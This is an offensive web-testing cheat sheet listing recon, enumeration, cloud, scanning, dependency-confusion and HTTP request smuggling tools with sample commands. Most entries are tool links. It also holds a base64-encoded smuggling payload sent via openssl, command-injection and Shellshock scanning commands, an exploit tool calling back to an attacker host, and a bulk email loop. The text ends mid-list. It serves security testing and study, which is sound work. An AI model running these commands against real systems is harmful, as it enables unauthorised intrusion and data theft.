Web Attack Cheat Sheet

Table of Contents

Discovering

Targets

https://github.com/arkadiyt/bounty-targets-data
This repo contains data dumps of Hackerone and Bugcrowd scopes (i.e. the domains that are eligible for bug bounty reports).

IP Enumeration

http://www.asnlookup.com
This tool leverages ASN to look up IP addresses (IPv4 & IPv6) owned by a specific organization for reconnaissance purposes.

https://github.com/pielco11/fav-up
Lookups for real IP starting from the favicon icon and using Shodan.
```
python3 favUp.py --favicon-file favicon.ico -sc
```

https://stackoverflow.com/questions/16986879/bash-script-to-list-all-ips-in-prefix
List all IP addresses in a given CIDR block
```
nmap -sL -n 10.10.64.0/27 | awk '/Nmap scan report/{print $NF}'
```

https://kaeferjaeger.gay/?dir=cdn-ranges/
Lists of IP ranges used by CDNs (Cloudflare, Akamai, Incapsula, Fastly, etc). Updated every 30 minutes.

https://kaeferjaeger.gay/?dir=ip-ranges/
Lists of IP ranges from: Google (Cloud & GoogleBot), Bing (Bingbot), Amazon (AWS), Microsoft (Azure), Oracle (Cloud) and DigitalOcean. Updated every 6 hours.

https://netlas.io/
Internet intelligence apps that provide accurate technical information on IP addresses, domain names, websites, web applications, IoT devices, and other online assets.

Subdomain Enumeration

https://web.archive.org/web/20211127183642/https://appsecco.com/books/subdomain-enumeration/
This book intendes to be a reference for subdomain enumeration techniques.

https://github.com/knownsec/ksubdomain
ksubdomain是一款基于无状态子域名爆破工具，支持在Windows/Linux/Mac上使用，它会很快的进行DNS爆破，在Mac和Windows上理论最大发包速度在30w/s,linux上为160w/s的速度。
```
ksubdomain -d example.com
```

https://github.com/OWASP/Amass
The OWASP Amass Project performs network mapping of attack surfaces and external asset

discovery using open source information gathering and active reconnaissance techniques.

```
amass enum -passive -dir /tmp/amass_output/ -d example.com -o dir/example.com
```

https://github.com/projectdiscovery/subfinder

subfinder is a subdomain discovery tool that discovers valid subdomains for websites by using passive online sources.

```
subfinder -r 8.8.8.8,8.8.4.4,1.1.1.1,1.0.0.1 -t 10 -v -d example.com -o dir/example.com
```

https://github.com/infosec-au/altdns

Altdns is a DNS recon tool that allows for the discovery of subdomains that conform to patterns. Altdns takes in words that could be present in subdomains under a domain (such as test, dev, staging) as well as takes in a list of subdomains that you know of.

```
altdns -i subdomains.txt -o data_output -w words.txt -r -s results_output.txt
```

https://github.com/Josue87/gotator

Gotator is a tool to generate DNS wordlists through permutations.

```
gotator -sub domains.txt -perm permutations.txt -depth 2 -numbers 5 > output.txt
```

https://github.com/nsonaniya2010/SubDomainizer

SubDomainizer is a tool designed to find hidden subdomains and secrets present is either webpage, Github, and external javascripts present in the given URL.

```
python3 SubDomainizer.py -u example.com -o dir/example.com
```

https://github.com/projectdiscovery/uncover

uncover is a go wrapper using APIs of well known search engines to quickly discover exposed hosts on the internet.

https://dns.bufferover.run/dns?q=example.com

Powered by DNSGrep (https://github.com/erbbysam/DNSGrep)

A utility for quickly searching presorted DNS names. Built around the Rapid7 rdns & fdns dataset.

https://crt.sh/?q=example.com

Certificate Search

https://censys.io/certificates?q=parsed.subject_dn%3AO%3DExample+Organization

Censys is the most reputable, exhaustive, and up-to-date source of Internet scan data in the world, so you see everything.

https://www.shodan.io/search?query=ssl%3AExample

Shodan is the world's first search engine for Internet-connected devices.

https://fullhunt.io/

If you don't know all your internet-facing assets, which ones are vulnerable, FullHunt is here for you.

https://github.com/xiecat/fofax
fofax is a fofa query tool written in go, positioned as a command-line tool and characterized by simplicity and speed.

```
fofax -q 'app="APACHE-Solr"'
```

https://publicwww.com
Find any alphanumeric snippet, signature or keyword in the web pages HTML, JS and CSS code.

https://fofa.so
FOFA (Cyberspace Assets Retrieval System) is the world's IT equipment search engine with more complete data coverage, and it has more complete DNA information of global networked IT equipment.

https://www.zoomeye.org
ZoomEyeis China's first and world-renowned cyberspace search engine driven by 404 Laboratory of Knownsec. Through a large number of global surveying and mapping nodes, according to the global IPv4, IPv6 address and website domain name databases, it can continuously scan and identify multiple service port and protocols 24 hours a day, and finally map the whole or local cyberspace.

https://securitytrails.com/list/email/dns-admin.example.com
Total Internet Inventory with the most comprehensive data that informs with unrivaled accuracy.

```
curl --request POST --url 'https://api.securitytrails.com/v1/domains/list?apikey={API_Key}&page=1&scroll=true' --data '{"filter":{"apex_domain":"example.com"}}' | jq -Mr '.records[].hostname' >> subdomains.txt
curl --request POST --url 'https://api.securitytrails.com/v1/domains/list?apikey={API_Key}&page=1&scroll=true' --data '{"filter":{"whois_email":"domains@example.com"}}' | jq -Mr '.records[].hostname' >> domains.txt
```

https://viewdns.info/reversewhois
This free tool will allow you to find domain names owned by an individual person or company.

https://www.whoxy.com
Our WHOIS API returns consistent and well-structured WHOIS data in XML & JSON format. Returned data contain parsed WHOIS fields that can be easily understood by your application.

https://github.com/MilindPurswani/whoxyrm

A reverse whois tool based on Whoxy API based on @jhaddix's talk on Bug Hunter's Methodology v4.02.

```
whoxyrm -company-name "Example Inc."
```

https://opendata.rapid7.com/

Offering researchers and community members open access to data from Project Sonar, which conducts internet-wide surveys to gain insights into global exposure to common vulnerabilities.

https://openintel.nl/

The goal of the OpenINTEL measurement platform is to capture daily snapshots of the state of large parts of the global Domain Name System. Because the DNS plays a key role in almost all Internet services, recording this information allows us to track changes on the Internet, and thus its evolution, over longer periods of time. By performing active measurements, rather than passively collecting DNS data, we build consistent and reliable time series of the state of the DNS.

https://github.com/ninoseki/mihari

Mihari is a framework for continuous OSINT based threat hunting.

https://github.com/ProjectAnte/dnsgen

This tool generates a combination of domain names from the provided input. Combinations are created based on wordlist. Custom words are extracted per execution.

https://github.com/resyncgg/ripgen

A rust-based version of the popular dnsgen python utility.

https://github.com/d3mondev/puredns

Fast domain resolver and subdomain bruteforcing with accurate wildcard filtering.

https://github.com/projectdiscovery/dnsx

Fast and multi-purpose DNS toolkit allow to run multiple DNS queries.

https://github.com/glebarez/cero

Cero will connect to remote hosts, and read domain names from the certificates provided during TLS handshake.

https://cramppet.github.io/regulator/index.html

Regulator: A unique method of subdomain enumeration

https://github.com/blechschmidt/massdns

MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amount of domain names in the order of millions or even billions.

```
massdns -r resolvers.txt -o S -w massdns.out subdomains.txt
```

https://github.com/trickest/resolvers
The most exhaustive list of reliable DNS resolvers.

https://github.com/n0kovo/n0kovo_subdomains
An extremely effective subdomain wordlist of 3,000,000 lines, crafted by harvesting SSL certs from the entire IPv4 space.

Wayback Machine

https://github.com/tomnomnom/waybackurls
Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for *.domain and output them on stdout.

```
cat subdomains.txt | waybackurls > waybackurls.txt
```

https://github.com/tomnomnom/hacks
Hacky one-off scripts, tests etc.

```
cat waybackurls.txt | go run /root/Tools/hacks/anti-burl/main.go | tee waybackurls_valid.txt
```

https://github.com/lc/gau
getallurls (gau) fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain.

```
cat domains.txt | gau --threads 5
```

Cache

https://portswigger.net/research/practical-web-cache-poisoning
Web cache poisoning has long been an elusive vulnerability, a 'theoretical' threat used mostly to scare developers into obediently patching issues that nobody could actually exploit.
In this paper I'll show you how to compromise websites by using esoteric web features to turn their caches into exploit delivery systems, targeting everyone that makes the mistake of visiting their homepage.

https://www.giftofspeed.com/cache-checker
This tool lists which web files on a website are cached and which are not. Furthermore it checks by which method these files are cached and what the expiry time of the cached files is.

https://youst.in/posts/cache-poisoning-at-scale/
Even though Web Cache Poisoning has been around for years, the increasing complexity in technology stacks constantly introduces unexpected behaviour which can be abused to achieve novel cache poisoning attacks. In this paper I will present the techniques I used to report over 70 cache poisoning vulnerabilities to various Bug Bounty programs.

https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner
Web Cache Vulnerability Scanner (WCVS) is a fast and versatile CLI scanner for web cache poisoning developed by Hackmanit.
```
wcvs -u https://example.com -hw "file:/home/user/Documents/wordlist-header.txt" -pw "file:/home/user/Documents/wordlist-parameter.txt"
```

Crawling

https://github.com/jaeles-project/gospider
Fast web spider written in Go.
```
gospider -s "https://example.com/" -o output -c 20 -d 10
```

https://github.com/xnl-h4ck3r/xnLinkFinder
This is a tool used to discover endpoints (and potential parameters) for a given target.

https://github.com/hakluke/hakrawler
Fast golang web crawler for gathering URLs and JavaScript file locations. This is basically a simple implementation of the awesome Gocolly library.
```
echo https://example.com | hakrawler
```

https://github.com/projectdiscovery/katana
A next-generation crawling and spidering framework.
```
katana -u https://example.com
```

https://geotargetly.com/geo-browse
Geo Browse is a tool designed to capture screenshots of your website from different countries.

https://commoncrawl.org/
We build and maintain an open repository of web crawl data that can be accessed and analyzed by anyone.

Wordlist

https://portswigger.net/bappstore/21df56baa03d499c8439018fe075d3d7
Scrapes all unique words and numbers for use with password cracking.

https://github.com/ameenmaali/wordlistgen
wordlistgen is a tool to pass a list of URLs and get back a list of relevant words for your wordlists.
```
cat hosts.txt | wordlistgen
```

https://github.com/danielmiessler/SecLists
SecLists is the security tester's companion. It's a collection of multiple types of lists used

during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more.

https://github.com/swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypasses for Web Application Security. Feel free to improve with your payloads and techniques.

https://github.com/fuzzdb-project/fuzzdb
FuzzDB was created to increase the likelihood of finding application security vulnerabilities through dynamic application security testing.

https://github.com/google/fuzzing
This project aims at hosting tutorials, examples, discussions, research proposals, and other resources related to fuzzing.

https://wordlists.assetnote.io
This website provides you with wordlists that are up to date and effective against the most popular technologies on the internet.

https://github.com/trickest/wordlists
Real-world infosec wordlists, updated regularly.

Directory Bruteforcing

https://github.com/ffuf/ffuf
A fast web fuzzer written in Go.
```
ffuf -H 'User-Agent: Mozilla' -v -t 30 -w mydirfilelist.txt -b 'NAME1=VALUE1; NAME2=VALUE2' -u 'https://example.com/FUZZ'
```

https://github.com/iustin24/chameleon
Chameleon provides better content discovery by using wappalyzer's set of technology fingerprints alongside custom wordlists tailored to each detected technologies.
```
chameleon --url https://example.com -a
```

https://github.com/OJ/gobuster
Gobuster is a tool used to brute-force.
```
gobuster dir -a 'Mozilla' -e -k -l -t 30 -w mydirfilelist.txt -c 'NAME1=VALUE1; NAME2=VALUE2' -u 'https://example.com/'
```

https://github.com/tomnomnom/meg
meg is a tool for fetching lots of URLs but still being 'nice' to servers.
```
meg -c 50 -H 'User-Agent: Mozilla' -s 200 weblogic.txt example.txt weblogic
```

https://github.com/deibit/cansina

Cansina is a Web Content Discovery Application.
```
python3 cansina.py -u 'https://example.com/' -p mydirfilelist.txt --persist
```

https://github.com/epi052/feroxbuster
A simple, fast, recursive content discovery tool written in Rust.
```
feroxbuster -u 'https://example.com/' -x pdf -x js,html -x php txt json,docx
```

https://github.com/projectdiscovery/httpx
httpx is a fast and multi-purpose HTTP toolkit allow to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads.
```
cat hosts.txt | httpx
```

https://github.com/assetnote/kiterunner
Kiterunner is a tool that is capable of not only performing traditional content discovery at lightning fast speeds, but also bruteforcing routes/endpoints in modern applications.

Parameter Bruteforcing

https://github.com/s0md3v/Arjun
Arjun can find query parameters for URL endpoints.
```
arjun -u https://example.com/
```

https://github.com/Sh1Yo/x8
Hidden parameters discovery suite written in Rust.
```
x8 -u "https://example.com/" -w <wordlist>
```

DNS and HTTP detection

https://ceye.io
Monitor service for security testing.
```
curl http://api.ceye.io/v1/records?token={API Key}&type=dns curl
http://api.ceye.io/v1/records?token={API Key}&type=http
```

https://portswigger.net/burp/documentation/collaborator
Burp Collaborator is a network service that Burp Suite uses to help discover many kinds of vulnerabilities.
Tip https://www.onsecurity.co.uk/blog/gaining-persistent-access-to-burps-collaborator-sessions

https://httpbin.org/
A simple HTTP Request & Response Service.

http://pingb.in

Simple DNS and HTTP service for security testing.

https://github.com/ctxis/SnitchDNS
SnitchDNS is a database driven DNS Server with a Web UI, written in Python and Twisted, that makes DNS administration easier with all configuration changed applied instantly without restarting any system services.

http://dnslog.cn
Simple DNS server with realitme logs.

https://interact.projectdiscovery.io/
Interactsh is an Open-Source Solution for Out of band Data Extraction, A tool designed to detect bugs that cause external interactions, For example - Blind SQLi, Blind CMDi, SSRF, etc.

https://canarytokens.org/
You'll be familiar with web bugs, the transparent images which track when someone opens an email. They work by embedding a unique URL in a page's image tag, and monitoring incoming GET requests.
Imagine doing that, but for file reads, database queries, process executions or patterns in log files. Canarytokens does all this and more, letting you implant traps in your production systems rather than setting up separate honeypots.

Acquisitions/Names/Addresses/Contacts/Emails/etc.

https://hunter.io
Hunter lets you find email addresses in seconds and connect with the people that matter for your business.

https://intelx.io
Intelligence X is an independent European technology company founded in 2018 by Peter Kleissner. The company is based in Prague, Czech Republic. Its mission is to develop and maintain the search engine and data archive.

https://www.nerdydata.com
Find companies based on their website's tech stack or code.

https://github.com/khast3x/h8mail
h8mail is an email OSINT and breach hunting tool using different breach and reconnaissance services, or local breaches such as Troy Hunt's "Collection1" and the infamous "Breach Compilation" torrent.
```
h8mail -t target@example.com
```

https://dashboard.fullcontact.com

Our person-first Identity Resolution Platform provides the crucial intelligence needed to drive Media Amplification, Omnichannel Measurement, and Customer Recognition.

https://www.peopledatalabs.com
Our data empowers developers to build innovative, trusted data-driven products at scale.

https://www.social-searcher.com
Free Social Media Search Engine.

https://github.com/mxrch/GHunt
GHunt is an OSINT tool to extract information from any Google Account using an email.
```
python3 ghunt.py email myemail@gmail.com
```

HTML/JavaScript Comments

https://portswigger.net/support/using-burp-suites-engagement-tools
Burp Engagement Tools

Google Dorks

https://shorturl.at/czJSZ
Google Hacking Database

Search on AWS
```
site:amazonaws.com company
```

Content Security Policy (CSP)

https://csp-evaluator.withgoogle.com/
CSP Evaluator allows developers and security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site scripting attacks.

Tiny URLs Services

https://www.scribd.com/doc/308659143/Cornell-Tech-Url-Shortening-Research
Cornell Tech Url Shortening Research

https://github.com/utkusen/urlhunter
urlhunter is a recon tool that allows searching on URLs that are exposed via shortener services such as bit.ly and goo.gl.
```
urlhunter -keywords keywords.txt -date 2020-11-20 -o out.txt
```

https://shorteners.grayhatwarfare.com
Search Shortener Urls

GraphQL

https://github.com/doyensec/graph-ql
A security testing tool to facilitate GraphQL technology security auditing efforts.

https://hackernoon.com/understanding-graphql-part-1-nxm3uv9
Understanding GraphQL

https://graphql.org/learn/introspection/
It's often useful to ask a GraphQL schema for information about what queries it supports. GraphQL allows us to do so using the introspection system!

https://jondow.eu/practical-graphql-attack-vectors/
Practical GraphQL attack vectors

https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/
Why and how to disable introspection query for GraphQL APIs

https://lab.wallarm.com/securing-and-attacking-graphql-part-1-overview/
Securing GraphQL

https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
GraphQL vs REST API model, common security test cases for GraphQL endpoints.

https://the-bilal-rizwan.medium.com/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
GraphQL common vulnerabilities & how to exploit them.

https://cybervelia.com/?p=736
GraphQL exploitation – All you need to know.

General

https://github.com/redhuntlabs/Awesome-Asset-Discovery
Asset Discovery is the initial phase of any security assessment engagement, be it offensive or defensive. With the evolution of information technology, the scope and definition of assets has also evolved.

https://spyse.com
Spyse holds the largest database of its kind, containing a wide range of OSINT data handy for

the reconnaissance.

https://github.com/yogeshojha/rengine
reNgine is an automated reconnaissance framework meant for information gathering during penetration testing of web applications.

https://github.com/phor3nsic/favicon_hash_shodan
Search for a framework by favicon

https://github.com/righettod/website-passive-reconnaissance
Script to automate, when possible, the passive reconnaissance performed on a website prior to an assessment.

https://dhiyaneshgeek.github.io/red/teaming/2022/04/28/reconnaissance-red-teaming/
Reconnaissance is carried out in a Red Teaming Engagement.

https://learn.microsoft.com/en-us/rest/api/storageservices/list-blobs?tabs=azure-ad
The List Blobs operation returns a list of the blobs under the specified container.

```
https://myaccount.blob.core.windows.net/mycontainer?restype=container&comp=list
```

Enumerating

Fingerprint

https://github.com/urbanadventurer/WhatWeb
WhatWeb identifies websites. Its goal is to answer the question, "What is that Website?". WhatWeb recognises web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices.

```
whatweb –a 4 –U 'Mozilla' –c 'NAME1=VALUE1; NAME2=VALUE2' –t 20 www.example.com
```

https://builtwith.com
Find out what websites are Built With.

https://www.wappalyzer.com
Identify technologies on websites.

https://webtechsurvey.com
Discover what technologies a website is built on or find out what websites use a particular web technology.

https://portswigger.net/bappstore/c9fb79369b56407792a7104e3c4352fb
Software Vulnerability Scanner Burp Extension

https://github.com/GrrrDog/weird_proxies
It's a cheat sheet about behaviour of various reverse proxies and related attacks.

Buckets

https://aws.amazon.com/cli/
List s3 bucket permissions and keys

```
aws s3api get-bucket-acl --bucket examples3bucketname
aws s3api get-object-acl --bucket examples3bucketname --key dir/file.ext
aws s3api list-objects --bucket examples3bucketname
aws s3api list-objects-v2 --bucket examples3bucketname
aws s3api get-object --bucket examples3bucketname --key dir/file.ext
localfilename.ext
aws s3api put-object --bucket examples3bucketname --key dir/file.ext --body
localfilename.ext
```

https://github.com/eth0izzle/bucket-stream
Find interesting Amazon S3 Buckets by watching certificate transparency logs

https://buckets.grayhatwarfare.com/
Search Public Buckets

https://github.com/VirtueSecurity/aws-extender
Burp Suite extension which can identify and test S3 buckets

Cloud Enumeration

Basic check

```
export AWS_ACCESS_KEY_ID=XYZ
export AWS_SECRET_ACCESS_KEY=XYZ
export AWS_SESSION_TOKEN=XYZ
aws sts get-caller-identity
```

https://github.com/andresriancho/enumerate-iam
Found a set of AWS credentials and have no idea which permissions it might have?

https://github.com/nccgroup/ScoutSuite
Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.

https://github.com/streaak/keyhacks
KeyHacks shows ways in which particular API keys found on a Bug Bounty Program can be

used, to check if they are valid.

https://github.com/ozguralp/gmapsapiscanner
Used for determining whether a leaked/found Google Maps API Key is vulnerable to unauthorized access by other applications or not.

https://github.com/aquasecurity/trivy
Trivy (tri pronounced like trigger, vy pronounced like envy) is a comprehensive security scanner. It is reliable, fast, extremely easy to use, and it works wherever you need it.

https://github.com/initstring/cloud_enum
Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud.

https://github.com/toniblyx/prowler
Prowler is a command line tool that helps you with AWS security assessment, auditing, hardening and incident response.

https://github.com/salesforce/cloudsplaining
Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.

https://github.com/cloudsploit/scans
CloudSploit by Aqua is an open-source project designed to allow detection of security risks in cloud infrastructure accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub. These scripts are designed to return a series of potential misconfigurations and security risks.

https://github.com/RhinoSecurityLabs/pacu
Pacu is an open-source AWS exploitation framework, designed for offensive security testing against cloud environments.

https://github.com/VirtueSecurity/aws-extender
This Burp Suite extension can identify and test S3 buckets as well as Google Storage buckets and Azure Storage containers for common misconfiguration issues using the boto/boto3 SDK library.

https://github.com/irgoncalves/gcp_security
This repository is intented to have Google Cloud Security recommended practices, scripts and more.

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
Instance metadata is data about your instance that you can use to configure or manage the running instance. Instance metadata is divided into categories, for example, host name, events, and security groups.

https://cloud.google.com/compute/docs/storing-retrieving-metadata
Every instance stores its metadata on a metadata server. You can query this metadata server programmatically, from within the instance and from the Compute Engine API. You can query for information about the instance, such as the instance's host name, instance ID, startup and shutdown scripts, custom metadata, and service account information. Your instance automatically has access to the metadata server API without any additional authorization.

https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
The Azure Instance Metadata Service (IMDS) provides information about currently running virtual machine instances. You can use it to manage and configure your virtual machines. This information includes the SKU, storage, network configurations, and upcoming maintenance events.

https://www.alibabacloud.com/help/doc-detail/49122.htm
Metadata of an instance includes basic information of the instance in Alibaba Cloud, such as the instance ID, IP address, MAC addresses of network interface controllers (NICs) bound to the instance, and operating system type.

https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/
Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments.

Containerization

https://github.com/stealthcopter/deepce
Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE).

Visual Identification

https://github.com/FortyNorthSecurity/EyeWitness
EyeWitness is designed to take screenshots of websites provide some server header info, and identify default credentials if known.
```
 eyewitness --web --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" --threads 10 --timeout 30 --prepend-https -f "${PWD}/subdomains.txt" -d "${PWD}/eyewitness/"
```

https://github.com/michenriksen/aquatone
Aquatone is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface.
```
 cat targets.txt | aquatone
```

https://github.com/sensepost/gowitness
gowitness is a website screenshot utility written in Golang, that uses Chrome Headless to generate screenshots of web interfaces using the command line, with a handy report viewer to process results. Both Linux and macOS is supported, with Windows support mostly working.
```
gowitness scan --cidr 192.168.0.0/24 --threads 20
```

https://github.com/BishopFox/eyeballer
Eyeballer is meant for large-scope network penetration tests where you need to find "interesting" targets from a huge set of web-based hosts.
```
eyeballer.py --weights YOUR_WEIGHTS.h5 predict PATH_TO/YOUR_FILES/
```

Scanning

Static Application Security Testing

https://github.com/returntocorp/semgrep
Semgrep is a fast, open-source, static analysis tool that excels at expressing code standards — without complicated queries — and surfacing bugs early at editor, commit, and CI time.

https://owasp.org/www-project-dependency-check/
Dependency-Check is a Software Composition Analysis (SCA) tool that attempts to detect publicly disclosed vulnerabilities contained within a project's dependencies. It does this by determining if there is a Common Platform Enumeration (CPE) identifier for a given dependency. If found, it will generate a report linking to the associated CVE entries.

https://owasp.org/www-community/Source_Code_Analysis_Tools
Source code analysis tools, also known as Static Application Security Testing (SAST) Tools, can help analyze source code or compiled versions of code to help find security flaws.

https://github.com/robotframework/robotframework
Robot Framework is a generic open source automation framework for acceptance testing, acceptance test driven development (ATDD), and robotic process automation (RPA). It has simple plain text syntax and it can be extended easily with generic and custom libraries.

https://github.com/google/osv-scanner
Use OSV-Scanner to find existing vulnerabilities affecting your project's dependencies.

https://github.com/securego/gosec
Inspects source code for security problems by scanning the Go AST.

Dependency Confusion

https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
How I Hacked Into Apple, Microsoft and Dozens of Other Companies.

https://www.blazeinfosec.com/post/dependency-confusion-exploitation/
This blog post provides an overview of Dependency Confusion attacks and explains in detail how they can be exploited in the wild, with examples using NPM packages and tips to prevent these vulnerabilities from occurring.

https://github.com/dwisiswant0/nodep
nodep check available dependency packages across npmjs, PyPI or RubyGems registry.

https://github.com/visma-prodsec/confused
A tool for checking for lingering free namespaces for private package names referenced in dependency configuration for Python (pypi) requirements.txt, JavaScript (npm) package.json, PHP (composer) composer.json or MVN (maven) pom.xml.

Send Emails

https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c
Ticket Trick

https://medium.com/intigriti/abusing-autoresponders-and-email-bounces-9b1995eb53c2
Abusing autoresponders and email bounces

Send multiple emails
```
while read i; do echo $i; echo -e "From: example1@gmail.com\nTo: ${i}\nCc: example2@gmail.com\nSubject: This is the subject ${i}\n\nThis is the body ${i}" | ssmtp ${i},example2@gmail.com; done < emails.txt
```

Search Vulnerabilities

https://pypi.org/project/urlscanio/
URLScan.io is a useful tool for scanning and obtaining information from potentially malicious websites. The creators of URLScan have very helpfully made an API which can be used to add some automation to your workflow. urlscanio is a simple Python CLI utility which makes use of the aforementioned APIs to automate my own personal workflow when it comes to using URLScan.
```
urlscanio -i https://www.example.com
```

https://github.com/vulnersCom/getsploit
Command line search and download tool for Vulners Database inspired by searchsploit.

```
getsploit wordpress 4.7.0
```

https://shorturl.at/pJST2
Included in our Exploit Database repository on GitHub is searchsploit, a command line search tool for Exploit-DB that also allows you to take a copy of Exploit Database with you, everywhere you go.
```
searchsploit -t oracle windows
```

https://github.com/vulmon/Vulmap
Vulmap is an open-source online local vulnerability scanner project. It consists of online local vulnerability scanning programs for Windows and Linux operating systems.

https://grep.app
Search across a half million git repos.

https://github.com/0ang3el/aem-hacker
Tools to identify vulnerable Adobe Experience Manager (AEM) webapps.
```
python3 aem_hacker.py -u https://example.com --host your_vps_hostname_ip
```

https://github.com/laluka/jolokia-exploitation-toolkit
Jolokia Exploitation Toolkit (JET) helps exploitation of exposed jolokia endpoints.

https://github.com/cve-search/git-vuln-finder
Finding potential software vulnerabilities from git commit messages.
```
git-vuln-finder -r ~/git/curl | jq .
```

Web Scanning

https://github.com/psiinon/open-source-web-scanners
A list of open source web security scanners on GitHub.

https://support.portswigger.net/customer/portal/articles/1783127-using-burp-scanner
Burp Scanner is a tool for automatically finding security vulnerabilities in web applications.

https://github.com/spinkham/skipfish
Skipfish is an active web application security reconnaissance tool.
```
skipfish -MEU -S dictionaries/minimal.wl -W new_dict.wl -C "AuthCookie=value" -X /logout.aspx -o output_dir http://www.example.com/
```

https://github.com/sullo/nikto
Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of

multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.

```
nikto -ssl -host www.example.com
```

https://github.com/wpscanteam/wpscan

WordPress Security Scanner

```
wpscan --disable-tls-checks --ignore-main-redirect --user-agent 'Mozilla' -t 10 --force --wp-content-dir wp-content --url blog.example.com
```

https://github.com/droope/droopescan

A plugin-based scanner that aids security researchers in identifying issues with several CMS.

```
droopescan scan drupal -u example.com
```

https://github.com/projectdiscovery/nuclei

Nuclei is used to send requests across targets based on a template leading to zero false positives and providing fast scanning on large number of hosts.

```
nuclei -l urls.txt -t cves/ -t files/ -o results.txt
```

https://github.com/six2dez/reconftw

reconFTW is a tool designed to perform automated recon on a target domain by running the best set of tools to perform enumeration and finding out vulnerabilities.

```
reconftw.sh -d target.com -a
```

https://gobies.org

The new generation of network security technology achieves rapid security emergency through the establishment of a complete asset database for the target.

https://github.com/commixproject/commix

By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or HTTP header.

```
python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=127.0.0.1&Submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
```

https://github.com/MrCl0wnLab/ShellShockHunter

Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was disclosed on 24 September 2014.

```
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl
```

https://github.com/crashbrz/WebXmlExploiter/

The WebXmlExploiter is a tool to exploit exposed by misconfiguration or path traversal web.xml files.

https://github.com/stark0de/nginxpwner
Nginxpwner is a simple tool to look for common Nginx misconfigurations and vulnerabilities.

HTTP Request Smuggling

https://github.com/defparam/smuggler
An HTTP Request Smuggling / Desync testing tool written in Python 3.
```
python3 smuggler.py -q -u https://example.com/
```

Attacking through command line a HTTPS vulnerable service. Good for persistence when no one believes in you.
```
echo 'UE9TVCAvIEhUVFAvMS4xDQpIb3N0OiB5b3VyLWxhYi1pZC53ZWItc2VjdXJpdHktYWNhZGVteS5uZXQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNg0KVHJhbnNmZXItRW5jb2Rpbmc6IGNodW5rZWQNCg0KMA0KDQpH' | base64 -d | timeout 1 openssl s_client -quiet -connect your-lab-id.web-security-academy.net:443 &>/dev/null
```

https://github.com/neex/http2smugl
This tool helps to detect and exploit HTTP request smuggling in cases it can be achieved via HTTP/2 -> HTTP/1.1 conversion by the frontend server.
```
http2smugl detect https://example.com/
```

https://github.com/BishopFox/h2csmuggler
h2cSmuggler smuggles HTTP traffic past insecure edge-server proxy_pass configurations by establishing HTTP/2 cleartext (h2c) communications with h2c-compatible back-end servers, allowing a bypass of proxy rules and access controls.
```
h2csmuggler.py -x https://example.com/ --test
```

https://github.com/0ang3el/websocket-smuggle
Smuggling HTTP requests over fake WebSocket connection.
```
python3 smuggle.py -u https://example.com/
```

https://github.com/anshumanpattnaik/http-request-smuggling
So the idea behind this security tool is to detect HRS vulnerability for a given host and the detection happens based on the time delay technique with the given permutes.

https://portswigger.net/web-security/request-smuggling
HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users.

https://github.com/PortSwigger/http-request-smuggler
This is an extension for Burp Suite designed to help you launch HTTP Request Smuggling

attacks, originally created during HTTP Desync Attacks research. It supports scanning for Request Smuggling vulnerabilities, and also aids exploitation by handling cumbersome offset-tweaking for you.

https://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142
This is how I was able to exploit a HTTP Request Smuggling in some Mobile Device Management (MDM) servers and send any MDM command to any device enrolled on them for a private bug bounty program.

https://www.intruder.io/research/practical-http-header-smuggling
